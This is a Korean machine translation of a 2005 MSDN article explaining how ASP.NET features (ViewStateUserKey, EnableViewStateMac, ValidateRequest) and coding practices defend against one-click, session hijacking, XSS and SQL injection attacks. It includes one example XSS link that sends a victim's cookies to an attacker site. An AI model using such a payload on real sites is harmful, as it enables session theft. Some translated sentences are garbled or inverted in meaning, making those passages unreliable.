웹 공격을 막는 ASP.NET 기본 제공 기능 활용

아티클
06/24/2011

디노 에스포지토
Wintellect

2005년 1월

적용 대상
Microsoft ASP.NET 1. X
Microsoft ASP.NET 2.0

요약: Dino는 가장 일반적인 유형의 웹 공격을 요약하고 웹 개발자가 ASP.NET 기본 제공 기능을 사용하여 보안을 강화하는 방법을 설명합니다. (13페이지 인쇄)

콘텐츠

ASP.NET 개발자는 위협이 발생한 위치에서 항상 수행해야 하는 사항
ViewStateUserKey
쿠키 및 인증
세션 하이재킹
EnableViewStateMac
ValidateRequest
데이터베이스 큐브 뷰
숨겨진 필드
전자 메일 및 스팸
요약
관련 리소스

개발자가 항상 수행해야 하는 ASP.NET

이 문서를 읽는 경우 웹 애플리케이션에서 보안의 중요성이 커지는 것에 대해 강의할 필요가 없습니다. ASP.NET 애플리케이션에서 보안을 구현하는 방법에 대한 몇 가지 실용적인 조언을 찾고 있을 것입니다. 나쁜 소식은 ASP.NET 포함한 개발 플랫폼이 채택되면 100% 보안 코드를 작성할 수 있음을 보장할 수 없다는 것입니다. ASP.NET 관한 한 좋은 소식은 ASP.NET, 특히 버전 1.1 및 향후 버전 2.0은 사용할 준비가 된 여러 기본 제공 방어 장벽을 통합한다는 것입니다.

이러한 모든 기능만 적용하면 가능한 모든 예측 가능한 공격으로부터 웹 애플리케이션을 보호하는 데 충분하지 않습니다. 그러나 다른 방어 기술 및 보안 전략과 결합된 기본 제공 ASP.NET 기능은 애플리케이션이 안전한 환경에서 작동하도록 하는 데 도움이 되는 강력한 도구 키트를 형성합니다.

웹 보안은 데이터베이스 관리, 네트워크 구성 및 소셜 엔지니어링 및 피싱을 포함하기 위해 개별 애플리케이션의 경계를 넘어 다양한 요인과 전략의 결과입니다.

이 문서의 목표는 ASP.NET 개발자가 보안 표시줄을 합리적으로 높게 유지하기 위해 항상 수행해야 하는 작업을 설명하는 것입니다. 이것이 바로 보안에 관한 것입니다. 가드를 유지하고, 완전히 안전하다고 느끼지 않으며, 악의적인 사람이 해킹을 더 어렵게 만듭니다.

작업을 간소화하기 위해 ASP.NET 제공해야 하는 사항을 살펴보겠습니다.

위협이 발생한 위치

표 1에서는 애플리케이션에서 성공할 수 있는 가장 일반적인 유형의 웹 공격 및 결함을 요약했습니다.

공격	을 통해 가능해졌습니다. . .
XSS(교차 사이트 스크립팅)	신뢰할 수 없는 사용자 입력이 페이지에 에코됨
SQL 삽입	SQL 명령을 형성하기 위한 사용자 입력 연결
세션 하이재킹	세션 ID 추측 및 도난된 세션 ID 쿠키
한 번 클릭	스크립트를 통해 전송된 HTTP 게시물 인식
숨겨진 필드 변조	중요한 데이터로 채워진 선택 취소(및 신뢰할 수 있는) 숨겨진 필드

표 1. 일반적인 웹 공격

목록에서 나오는 주요 사실은 무엇입니까? 적어도 다음 세 가지, 나는 말할 것이다 :

모든 종류의 사용자 입력을 브라우저의 태그에 삽입할 때마다 코드 삽입 공격(SQL 삽입 및 XSS의 변형)에 노출될 수 있습니다.
데이터베이스 액세스는 계정에 대해 가능한 최소 사용 권한 집합을 사용하고 역할을 통해 개별 사용자의 책임을 구분하여 안전하게 수행해야 합니다.
중요한 데이터는 유선(명확한 텍스트는 물론)을 통해 전송되어서는 안 되며 서버에 안전하게 저장되어야 합니다.

위의 세 가지 점은 방탄 및 변조 방지 애플리케이션을 빌드하는 유일한 합리적인 방법인 웹 보안의 세 가지 고유한 측면을 해결한다는 점에 유의해야 합니다. 웹 보안의 패싯은 다음과 같이 요약할 수 있습니다.

코딩 사례: 데이터 유효성 검사, 형식 및 버퍼 길이 검사, 변조 방지 측정값
데이터 액세스 전략: 역할을 사용하여 가능한 가장 약한 계정을 보장하거나, 저장 프로시저를 사용하거나, 매개 변수가 있는 명령 이상을 사용합니다.
효과적인 스토리지 및 관리: 클라이언트에 중요한 데이터를 보내지 말고, 해시 코드를 사용하여 조작을 감지하고, 사용자를 인증하고, ID를 보호하고, 암호에 대한 엄격한 정책을 적용합니다.

보듯이 보안 애플리케이션은 개발자, 설계자 및 관리자의 결합된 노력에서만 발생할 수 있습니다. 그렇지 않으면 올바르게 얻을 수 있다고 가정하지 마십시오.

ASP.NET 응용 프로그램을 쓸 때 당신은 코드 줄을 입력하는 당신의 두뇌, 기술, 손가락으로 무장 해커의 군대에 맞서 싸울 자신에 남아 있지 않다. ASP.NET 1.1 이상은 위에 나열된 일부 위협에 대해 자동 장벽을 높이는 몇 가지 특정 기능을 지원합니다. 자세히 검토해 보겠습니다.

ViewStateUserKey

ASP.NET 1.1에서 도입된 ViewStateUserKey 는 Page 클래스의 문자열 속성으로, 소수의 개발자만 잘 알고 있다고 인정합니다. 그 이유는 설명서의 내용을 읽어 보겠습니다.

현재 페이지와 연결된 뷰 상태 변수의 개별 사용자에게 식별자를 할당합니다.

복잡한 스타일에도 불구하고 문장은 상당히 명확합니다. 그러나 당신은 정직하게 속성의 의도 된 목적을 설명 말할 수 있습니까? ViewStateUserKey의 역할을 이해하려면 설명 섹션에 도착할 때까지 좀 더 읽어야 합니다.

속성은 추가 입력을 제공하여 뷰 상태를 변조하지 않도록 방어하는 해시 값을 만들어 원클릭 공격을 방지하는 데 도움이 됩니다. 즉, ViewStateUserKey 를 사용하면 해커가 클라이언트 쪽 보기 상태의 콘텐츠를 사용하여 사이트에 대해 악의적인 게시물을 준비하는 것이 훨씬 더 어려워집니다. 속성은 비어 있지 않은 문자열(세션 ID 또는 사용자 ID)을 할당할 수 있습니다. 이 속성의 중요성을 더 잘 이해하려면 원클릭 공격의 기본 사항을 간략하게 검토해 보겠습니다.

원클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 것으로 구성됩니다. 일반적으로 전자 메일을 통해 수신되거나 혼잡한 포럼을 탐색할 때 발견된 매혹적인 링크를 클릭하는 인식할 수 없는 피해자로 시작하기 때문에 "원클릭"이라고 합니다. 링크를 따라 사용자는 실수로 악의적인 <양식을> 사이트에 제출하는 원격 프로세스를 트리거합니다. 솔직히 말해서, 당신은 당신이 무슨 일이 일어나는지 보기 위해 $ 1,000,000을 이기기 위해 여기를 클릭 과 같은 링크를 따라 본 적이 없다고 말할 수 있습니까? 분명히, 나쁜 일은 당신에게 일어나지 않았습니다. 이것이 정확하다고 가정해 보겠습니다. 웹 커뮤니티의 나머지 부분에 대해 동일한 말을 할 수 있나요? 누가 알아.

원클릭 공격에 성공하려면 특정 배경 조건이 필요합니다.

공격자는 취약한 사이트에 대해 많이 알고 있어야 합니다. 이는 공격자가 파일을 "부지런히" 연구했거나 화가 난 내부(예: 해고되고 부정직한 직원)이기 때문에 발생할 수 있습니다. 이러한 이유로 공격은 잠재적으로 파괴적일 수 있습니다.
사이트는 Single Sign-On을 구현하기 위해 쿠키(영구 쿠키인 경우 더 나은 경우)를 사용해야 하며 공격자는 유효한 인증 쿠키를 받았어야 합니다.
사이트의 특정 사용자는 중요한 트랜잭션에 관여합니다.
공격자는 대상 페이지에 액세스할 수 있어야 합니다.

언급했듯이 공격은 양식이 필요한 페이지에 악의적인 HTTP 양식을 제출하는 것으로 구성됩니다. 합리적으로, 이 페이지는 몇 가지 중요한 작업을 수행하기 위해 게시 된 데이터를 사용합니다. 합리적으로 공격자는 각 필드가 어떻게 사용되는지 정확히 알고 있으며 목표에 도달하기 위해 몇 가지 스푸핑된 값을 마련할 수 있습니다. 일반적으로 대상 공격이며, 해커가 해커의 사이트에서 링크를 클릭하도록 유도하여 악의적인 코드를 세 번째 사이트에 게시하도록 유도하는 삼각 무역으로 인해 추적하기가 어렵습니다. (그림 1을 참조하세요.)

ms972969.securitybarriers01(en-us,MSDN.10).gif

그림 1. 원클릭 공격

왜 의심하지 않는 피해자인가? 이러한 방식으로 서버 로그는 잘못된 요청이 발생한 IP 주소가 피해자의 IP 주소임을 보여 줍니다. 언급했듯이 이 공격은 "클래식" XSS만큼 일반적이지 않고 쉽게 정렬할 수 있습니다. 그러나, 그것의 본질은 잠재적으로 파괴. 그것에 대 한 치료는 무엇입니까? ASP.NET 컨텍스트에서 공격의 메커니즘을 검토해 보겠습니다.

작업이 Page_Load 이벤트에서 코딩되지 않는 한 ASP.NET 페이지에서 포스트백 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법은 없습니다. 포스트백 이벤트가 발생하려면 뷰 상태 필드가 필수입니다. ASP.NET 요청의 포스트백 상태를 확인하고 _VIEWSTATE 입력 필드의 존재에 따라 적절하게 IsPostBack 을 설정합니다. 따라서 ASP.NET 페이지에 가짜 요청을 보내려는 사람은 반드시 유효한 뷰 상태 필드를 제공해야 합니다.

원클릭 공격이 작동하려면 해커가 페이지에 액세스할 수 있어야 합니다. 이 일이 일어났을 때, 먼 해커는 페이지를 로컬로 저장했습니다. 이제 _VIEWSTATE 필드에 액세스하고 이를 사용하여 이전 뷰 상태와 다른 필드의 악의적인 값으로 요청을 만들 수 있습니다. 문제는, 이 작동 할 것인가?

이유는 무엇입니까? 공격자가 유효한 인증 쿠키를 제공할 수 있는 경우 해커가 들어와서 요청이 정기적으로 처리됩니다. 보기 상태 콘텐츠가 서버에서 전혀 확인되지 않거나( EnableViewStataMac 이 꺼져 있는 경우) 변조에 대해서만 검사됩니다. 기본적으로 보기 상태에는 해당 콘텐츠를 특정 사용자와 연결하는 것이 없습니다. 공격자는 페이지에 대한 법적 액세스 권한을 부여하여 얻은 보기 상태를 쉽게 다시 사용하여 다른 사용자를 대신하여 가짜 요청을 작성할 수 있습니다. ViewStateUserKey가 적합한 위치입니다.

정확하게 선택하면 속성은 뷰 상태에 사용자별 정보를 추가합니다. 요청이 처리되면 ASP.NET 뷰 상태에서 키를 추출하고 실행 중인 페이지의 ViewStateUserKey 와 비교합니다. 두 항목이 일치하는 경우 요청은 합법적인 것으로 간주됩니다. 그렇지 않으면 예외가 throw됩니다. 속성에 유효한 값은 무엇인가요?

ViewStateUserKey를 모든 사용자와 동일한 상수 문자열로 설정하는 것은 비워 두는 것과 같습니다. 사용자 ID 또는 더 나은 세션 ID 등 각 사용자에 따라 다른 항목으로 설정해야 합니다. 다양한 기술적 및 사회적 원인으로 인해 세션 ID가 예측할 수 있고 시간이 초과하며 각 사용자에 따라 다르기 때문에 훨씬 더 적합합니다.

페이지에 있어야 하는 모든 코드는 다음과 같습니다.

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

이를 반복해서 작성하지 않도록 하려면 Page 파생 클래스의 OnInit 가상 메서드에서 Bolt를 사용할 수 있습니다. Page.Init 이벤트에서 이 속성을 설정해야 합니다.

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

전반적으로, 기본 페이지 클래스를 사용하는 것은 항상 좋은 일이다, 내 문서에서 설명한 대로, 풍부한 Bedrock에 ASP.NET 페이지 빌드. 원클릭 공격자의 전술에 대해 자세히 알아보는 훌륭한 문서는 aspnetpro.com 찾을 수 있습니다.

쿠키 및 인증

쿠키는 개발자가 결과를 달성하는 데 도움이 될 수 있기 때문에 존재합니다. 쿠키는 브라우저와 서버 간의 일종의 영구 링크로 작동합니다. 특히 Single Sign-On을 사용하는 애플리케이션의 경우 도난당한 쿠키가 공격을 가능하게 하는 것입니다. 이것은 확실히 원클릭 공격의 경우입니다.

쿠키를 사용하려면 명시적으로 쿠키를 만들고 프로그래밍 방식으로 읽을 필요가 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우 쿠키를 암시적으로 사용합니다. 물론 ASP.NET 쿠키 없는 세션 상태를 지원하며 ASP.NET 2.0에는 쿠키 없는 양식 인증도 도입됩니다. 따라서 이론적으로 쿠키를 사용하지 않고 이러한 기능을 사용할 수 있습니다. 난 당신이 할 필요가 없습니다 말하고 있지 않다, 그러나 이것은 치료가 질병보다 더 악화 될 수있는 경우 중 하나입니다. 실제로 쿠키 없는 세션은 모든 사용자가 볼 수 있도록 URL에 세션 ID를 포함시켰습니다.

쿠키 사용과 관련된 잠재적인 문제는 무엇인가요? 쿠키를 도난당하고(즉, 해커의 컴퓨터에 복사) 독살(즉, 악의적인 데이터로 채워짐)할 수 있습니다. 이러한 작업은 종종 들어오는 공격의 전주곡입니다. 도난당한 경우 인증 쿠키는 외부 사용자에게 사용자를 대신하여 애플리케이션에 연결하고 보호된 페이지를 사용하도록 "권한 부여"하여 해커가 권한 부여를 기꺼이 우회하고 피해자가 할 수 있는 역할과 보안 설정을 스스로 수행할 수 있도록 합니다. 이러한 이유로 인증 쿠키는 일반적으로 비교적 짧은 수명(30분)으로 지정됩니다. (브라우저의 세션을 완료하는 데 시간이 더 오래 걸리더라도 쿠키가 만료됩니다.) 도난의 경우, 해커는 공격을 시도하는 30 분 창이 있습니다.

이 창을 확대하여 사용자가 너무 자주 로그온할 필요가 없도록 할 수 있습니다. 사용자 고유의 위험에서 이 작업을 수행한다는 점에 유의하세요. 어떤 경우든 ASP.NET 영구 쿠키를 사용하지 마십시오. 그것은 쿠키의 수명을 사실상 다년생으로 만들 것입니다, 만큼 50 년! 다음 코드 조각은 여가 시간에 쿠키의 만료를 수정하는 방법을 보여 줍니다.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

사용자 고유의 로그인 양식에서 이 코드를 사용하여 인증 쿠키의 수명을 미세 조정할 수 있습니다.

세션 하이재킹

쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 세션의 ID는 요청과 함께 앞뒤로 이동하고 브라우저의 컴퓨터에 저장되는 쿠키에 저장됩니다. 다시 말하지만, 도난당한 경우 세션 쿠키를 사용하여 해커를 시스템에 가져와 다른 사람의 세션 상태에 액세스할 수 있습니다. 말할 필요도 없이 지정된 세션이 활성 상태인 경우 일반적으로 20분 이내로 발생할 수 있습니다. 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 하이재킹이라고 합니다. 세션 하이재킹에 대한 자세한 내용은 웹에서 도난: 세션 하이재킹 방지를 참조하세요.

이 공격은 얼마나 위험할 수 있습니까? 말하기 어렵다. 웹 사이트가 수행하는 작업과 더 중요한 것은 해당 페이지가 디자인되는 방식에 따라 달라집니다. 예를 들어 다른 사람의 세션 쿠키를 가져와서 사이트의 페이지에 대한 요청에 첨부할 수 있었다고 상상해 보세요. 페이지를 로드하고 일반 사용자 인터페이스를 통해 작업합니다. 페이지에 삽입할 수 있는 코드가 없고 페이지에 변경할 수 있는 코드가 없습니다. 단, 이제 다른 사용자의 세션 상태를 사용하여 페이지가 작동한다는 점을 제외하면 변경할 수 없습니다. 이것은 그 자체로 나쁘지 않지만 세션의 정보가 민감하고 중요한 한 해커를 성공적인 악용으로 바로 이끌 수 있습니다. 봐, 해커는 세션 저장소의 콘텐츠로 스누핑 할 수 없습니다, 하지만 그것에 저장된 것은 해커가 합법적으로 입력 한 것처럼 사용됩니다. 예를 들어 사용자가 사이트를 탐색할 때 쇼핑 카트에 항목을 추가하는 전자 상거래 애플리케이션을 가정해 보십시오.

시나리오 #1. 쇼핑 카트의 콘텐츠는 세션 상태에 저장됩니다. 그러나 검사 사용자가 보안 SSL 연결을 통해 결제 세부 정보를 확인하고 입력하도록 요청됩니다. 이 경우 다른 사용자의 세션 상태에 연결하면 해커가 피해자의 쇼핑 기본 설정에 대한 몇 가지 세부 정보를 배울 수 있습니다. 손상의 어떤 종류는 정말이 맥락에서 납치에서 발생. 기밀성만 위험에 처해 있습니다.
시나리오 #2. 애플리케이션은 등록된 각 사용자에 대한 프로필을 처리하고 프로필을 세션 상태에 저장합니다. Alas, 프로필(예: )에는 신용 카드 정보가 포함됩니다. 사용자 프로필 세부 정보를 세션에 저장하는 이유는 무엇인가요? 아마도 애플리케이션의 목표 중 하나는 궁극적으로 사용자가 신용 카드 및 은행 정보를 반복해서 입력하지 못하도록 하는 것입니다. 따라서 체크 아웃 시 애플리케이션은 미리 채워진 필드가 있는 페이지로 사용자를 탐색합니다. 이러한 필드 중 하나는 세션 상태에서 가져온 크레딧 카드 번호입니다. 이제 이야기의 끝을 추측 할 수 있습니까?

애플리케이션 페이지의 디자인은 세션 하이재킹 공격을 방지하는 데 핵심적인 요소입니다. 하지만 2점은 열려 있습니다. 첫 번째는 쿠키 도난을 방지하기 위해 무엇을 할 수 있습니까? 두 번째는 ASP.NET 하이재킹을 감지하고 차단하기 위해 무엇을 할 수 있습니까?

ASP.NET 세션 쿠키는 매우 간단하며 유일한 세션 ID 문자열을 포함하도록 제한됩니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출하고 활성 세션에 대해 확인합니다. ID가 유효한 경우 ASP.NET 해당 세션에 연결되고 계속됩니다. 이 동작은 유효한 세션 ID를 도난당했거나 추측할 수 있는 해커의 수명을 크게 간소화합니다.

XSS 및 중간자 공격뿐만 아니라 클라이언트 PC에 대한 무차별 액세스는 유효한 쿠키를 얻는 모든 방법입니다. 도난을 방지하려면 XSS 및 모든 변형이 성공하지 못하도록 보안 모범 사례를 구현해야 합니다.

세션 ID 추측을 방지하려면 기술을 과도하게 사용하지 않아야 합니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET 사용하는 알고리즘(URL 사용 문자에 매핑된 15개의 난수)을 감안할 때 우연히 유효한 ID를 추측할 수 있는 기회는 0에 가까우게 됩니다. 기본 세션 ID 생성기를 사용자 고유의 생성기로 바꿀 이유가 없습니다. 대부분의 경우 공격자의 삶을 더 쉽게 만들 수 있습니다.

세션 하이재킹에 대한 더 나쁜 점은 쿠키가 도난당하거나 추측되면 쿠키의 사기성 사용을 감지하기 위해 할 수있는 ASP.NET 많지 않다는 것입니다. 다시 말하지만, 그 이유는 ASP.NET ID의 유효성을 검사하고 쿠키의 출처에 의문을 제기하기 때문입니다.

내 Wintellect 친구 제프 프로세스는 MSDN 잡지에 대한 세션 하이재킹에 대한 훌륭한 기사를 썼다. 그의 결론은 약간의 편안함을 제공하며, 도난당한 세션 ID 쿠키를 사용하는 공격에 대한 완벽한 방어를 구축하는 것은 사실상 불가능하지만, 그가 개발한 코드는 보안 표시줄을 더욱 높이기 위한 스마트 팁을 제공합니다. Jeff는 세션 ID 쿠키에 대한 들어오는 요청 및 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 해당 쿠키를 다시 사용하기 어렵게 만듭니다. 여기에서 세부 정보를 읽을 수 있습니다.

EnableViewStateMac

뷰 상태는 동일한 페이지에 대한 두 개의 연속 요청에서 컨트롤의 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 변조를 방지하기 위해 Base64로 인코딩되고 해시 값으로 서명됩니다. 기본 페이지 설정을 변경하지 않는 한 보기 상태는 변조될 위험이 없습니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 작성하는 경우에도 ASP.NET 시도를 catch하고 예외를 throw합니다. 변조된 뷰 상태는 반드시 해롭지는 않지만 서버 컨트롤의 상태를 수정하지만 심각한 감염의 수단이 될 수 있습니다. 이러한 이유로 기본적으로 발생하는 MAC(컴퓨터 인증 코드) 교차 검사를 제거 하지 않는 것이 매우 중요합니다. 그림 2를 참조하세요.

ms972969.securitybarriers02(en-us,MSDN.10).gif

그림 2. EnableViewStateMac이 사용하도록 설정된 경우 보기 상태가 본질적으로 변조 방지되는 이유

MAC 검사를 사용하도록 설정하면(기본값인) 직렬화된 뷰 상태가 일부 서버 쪽 값과 뷰 상태 사용자 키(있는 경우)에서 발생하는 해시 값이 추가됩니다. 뷰 상태가 다시 게시되면 해시 값은 저장된 값과 비교하여 새 서버 쪽 값을 사용하여 다시 계산됩니다. 두 항목이 일치하면 요청이 허용됩니다. 그렇지 않으면 예외가 throw됩니다. 해커가 보기 상태를 해독하고 다시 빌드할 수 있는 기술을 가지고 있다고 가정하더라도 유효한 해시를 만들기 위해 서버 저장 값을 알아야 합니다. 특히 해커는 machine.config machineKey> 항목에서 < 참조되는 컴퓨터 키를 알고 있어야 합니다.

기본적으로 <machineKey> 항목은 자동 생성되고 LSA(Windows 로컬 보안 기관 )에 물리적으로 저장됩니다. 보기 상태의 컴퓨터 키가 모든 컴퓨터에서 동일해야 하는 웹 팜의 경우에만 machine.config 파일에서 지우기 텍스트로 지정해야 합니다.

보기 상태 MAC 검사는 EnableViewStateMac이라는 @Page 지시문 특성을 통해 제어됩니다. 설명한 대로 기본적으로 true로 설정됩니다. 절대 사용하지 않도록 설정하지 마세요. 이는 원클릭 공격을 변조하는 보기 상태를 가능하게 하고 성공할 가능성이 높습니다.

ValidateRequest

XSS(교차 사이트 스크립팅)는 많은 노련한 웹 개발자를 위한 오래된 지인입니다. 1999년 이후입니다. 간단히 말해서 XSS는 코드의 구멍을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 도입합니다. 삽입된 코드는 쿠키를 잡고 해커의 제어되는 웹 사이트에 복사본을 업로드하고, 사용자의 웹 세션을 모니터링하고, 데이터를 전달하고, 잘못된 정보를 제공하는 해킹된 페이지의 동작과 모양을 수정하고, 사용자가 다음 번에 페이지로 돌아올 때 지속되도록 하는 등 다양한 작업을 수행할 수 있습니다. 사기성 코드가 다시 실행됩니다. TechNet 문서 교차 사이트 스크립팅 개요에서 XSS 공격의 기본 사항에 대해 자세히 알아보세요.

XSS 공격을 가능하게 하는 코드의 허점은 무엇인가요?

XSS는 HTML 페이지를 동적으로 생성하고 페이지에 에코된 입력의 유효성을 검사하지 않는 웹 애플리케이션을 악용합니다. 여기서 입력은 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다. 이 콘텐츠가 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 클라이언트 브라우저에서 악성 스크립트를 실행하도록 조작할 수 있는 위험이 있습니다. (앞서 언급한 원클릭 공격은 최근 XSS 변형입니다.) 일반적인 XSS 공격에는 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 유혹 링크를 따르는 것이 수반됩니다. 사기성 코드는 신뢰할 수 있도록 출력하는 취약한 페이지로 전송됩니다. 다음은 발생할 수 있는 일의 예입니다.

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

사용자는 분명히 안전한 링크를 클릭하고 취약한 페이지에 먼저 사용자의 컴퓨터의 모든 쿠키를 가져오고 해커의 웹 사이트의 페이지로 보내는 스크립트 코드 조각을 전달합니다.

XSS는 공급업체별 문제가 아니며 인터넷 Explorer 구멍을 반드시 악용하지는 않는다는 점에 유의해야 합니다. 현재 시장에 출시된 모든 웹 서버 및 브라우저에 영향을 줍니다. 더 중요한 것은 수정할 패치가 하나도 없다는 것입니다. 특정 측정값 및 제정신 코딩 사례를 적용하여 XSS로부터 페이지를 확실히 보호할 수 있습니다. 또한 공격자가 공격을 시작하기 위해 링크를 클릭할 필요가 없다는 점에 유의하세요.

XSS를 방어하려면 주로 유효한 입력을 결정하고 나머지를 모두 거부해야 합니다. XSS 공격을 저지하기 위한 자세한 검사 목록은 Microsoft에서 읽는 데 필요한 책인 Michael Howard와 David LeBlanc의 보안 코드 작성 에서 찾을 수 있습니다. 특히 13장을 주의 깊게 살펴보는 것이 좋습니다.

교활한 XSS 공격을 저지하는 주요 방법은 모든 유형의 입력 데이터에 잘 수행되고 견고한 유효성 검사 계층을 추가하는 것입니다. 예를 들어 다른 무해한 색(RGB 삼중자)조차도 제어되지 않은 스크립트를 페이지로 바로 가져올 수 있는 경우가 있습니다.

ASP.NET 1.1에서 켜지면 @Page 지시문의 ValidateRequest 특성은 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에 잠재적으로 위험한 HTML 태그를 보내지 않는지 확인합니다. 이 오류가 감지되면 예외가 throw되고 요청이 중단됩니다. 특성은 기본적으로 켜집니다. 보호하려면 아무 것도 할 필요가 없습니다. HTML 태그가 전달되도록 허용하려면 적극적으로 사용하지 않도록 설정해야 합니다.

<%@ Page ValidateRequest="false" %>

ValidateRequest 는 은색 글머리 기호가 아니며 효과적인 유효성 검사 계층을 대체할 수 없습니다. 이 기능이 실제로 어떻게 작동하는지에 대한 중요한 정보를 많이 보려면 여기 를 읽어보십시오. 기본적으로 몇 가지 잠재적으로 유해한 시퀀스를 catch하기 위해 정규식을 적용합니다.

참고ValidateRequest 기능은 원래 결함이 있습니다. 예상대로 작동하려면 패치 를 적용해야 합니다. 이 정보는 종종 눈에 띄지 않게 전달된 중요한 정보입니다. 이상하게도, 나는 내 기계 중 하나가 여전히 결함의 영향을 받는 것을 발견했다. 확인해 보세요.

ValidateRequest를 유지하지 않을 이유가 없습니다. 사용하지 않도록 설정할 수 있지만 아주 좋은 이유가 있어야 합니다. 그 중 하나는 더 나은 서식 옵션을 얻기 위해 사이트에 HTML을 게시할 수 있어야 하는 사용자 요구 사항일 수 있습니다. 이 경우 허용되는 HTML 태그(<pre>, b>, i, p,<br>,< hr>)의 수를 제한하고 다른 어떤 것도 허용되거나 허용되지 않도록 하는 정규식을 작성해야< 합니다. <>><

다음은 XSS에서 ASP.NET 애플리케이션을 보호하는 데 도움이 되는 몇 가지 추가 팁입니다.

HttpUtility.HtmlEncode를 사용하여 위험한 기호를 해당 HTML 표현으로 변환합니다.
HTML 인코딩은 큰따옴표만 이스케이프하므로 작은따옴표 대신 큰따옴표를 사용합니다.
코드 페이지에서 사용할 수 있는 문자 수를 제한하도록 합니다.

요약하자면 ValidateRequest 특성을 완전히 신뢰하지는 않지만 너무 지연되지는 않습니다. XSS와 같은 보안 위협을 파악하고 한 가지 핵심 요소를 중심으로 방어 전략을 계획하는 데 시간을 할애합니다. 모든 사용자 입력 악을 고려합니다.

데이터베이스 큐브 뷰

SQL 삽입은 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 형성하는 애플리케이션을 악용하는 또 다른 잘 알려진 공격 유형입니다. 애플리케이션이 양식 필드에 사용자가 입력하는 항목을 사용하여 SQL 명령 문자열을 만드는 경우 악의적인 사용자가 단순히 페이지에 액세스하고 사기성 매개 변수를 입력하여 쿼리의 특성을 수정할 수 있다는 위험을 노출합니다. SQL 삽입에 대한 자세한 내용은 여기에서 확인할 수 있습니다.

SQL 삽입 공격을 저지할 수 있는 여러 가지 방법이 있습니다. 다음은 가장 일반적인 기술입니다.

사용자 입력이 적절한 형식이고 예상되는 패턴(우편 번호, SSN, 전자 메일 주소)을 따르는지 확인합니다. 텍스트 상자에서 숫자가 필요한 경우 사용자가 숫자로 변환할 수 없는 항목을 입력하면 요청을 차단합니다.
매개 변수가 있는 쿼리 또는 더 나은 저장 프로시저를 사용합니다.
SQL Server 권한을 사용하여 각 사용자가 데이터베이스에서 수행할 수 있는 작업을 제한합니다. 예를 들어 xp_cmdshell 사용하지 않도록 설정하거나 관리자로 제한할 수 있습니다.

저장 프로시저를 사용하는 경우 공격 노출 영역을 크게 줄입니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 모든 매개 변수는 지정된 형식에 대해 SQL Server 유효성을 검사합니다. 이 기술만으로는 100% 보안 기술이 아니지만 유효성 검사와 결합하면 더 안전합니다.

권한 있는 사용자만 테이블 삭제와 같은 잠재적으로 파괴적인 작업을 수행하도록 하는 것이 더욱 중요합니다. 이렇게 하려면 애플리케이션의 중간 계층을 신중하게 디자인해야 합니다. 보안 때문만이 아니라 좋은 기술은 역할에 집중하는 것입니다. 역할의 사용자를 그룹화하고 최소 사용 권한 집합을 사용하여 각 역할에 대한 계정을 정의합니다.

몇 주 전, Wintellect 웹 사이트는 정교한 형태의 SQL 삽입을 통해 공격을 받고 있었습니다. 해커는 (악성?) 실행 파일을 다운로드하기 위해 FTP 스크립트를 만들고 시작하려고 했습니다. 공격이 실패한 것은 우리의 행운이었습니다. 아니면 오히려 강력한 입력 유효성 검사, 저장 프로시저 사용 및 공격이 작동하지 않는 SQL Server 사용 권한을 사용했는지 여부입니다.

요약하자면 다음 지침을 따라 원치 않는 SQL 코드 삽입을 방지합니다.

최소 권한으로 실행하고 코드를 "sa"로 실행하지 않습니다.
기본 제공 저장 프로시저에 대한 액세스를 제한합니다.
SQL 매개 변수가 있는 쿼리를 선호합니다.
문자열 연결을 통해 문을 빌드하지 말고 데이터베이스 오류를 에코하지 마세요.

숨겨진 필드

클래식 ASP에서 숨겨진 필드는 요청 간에 데이터를 유지하는 유일한 방법입니다. 다음 요청에서 검색해야 하는 모든 데이터는 숨겨진 <입력> 필드로 압축되고 라운드트립됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 서버 쪽 환경은 텍스트가 명확한 한 이를 파악할 방법이 없습니다. 페이지 및 개별 컨트롤에 대한 ASP.NET ViewState 속성은 두 가지 용도로 사용됩니다. 반면 ViewState 는 요청 간에 상태를 유지하는 수단입니다. 반면 에 ViewState 를 사용하면 사용자 지정 값을 변조 방지 보호된 숨겨진 필드에 저장할 수 있습니다.

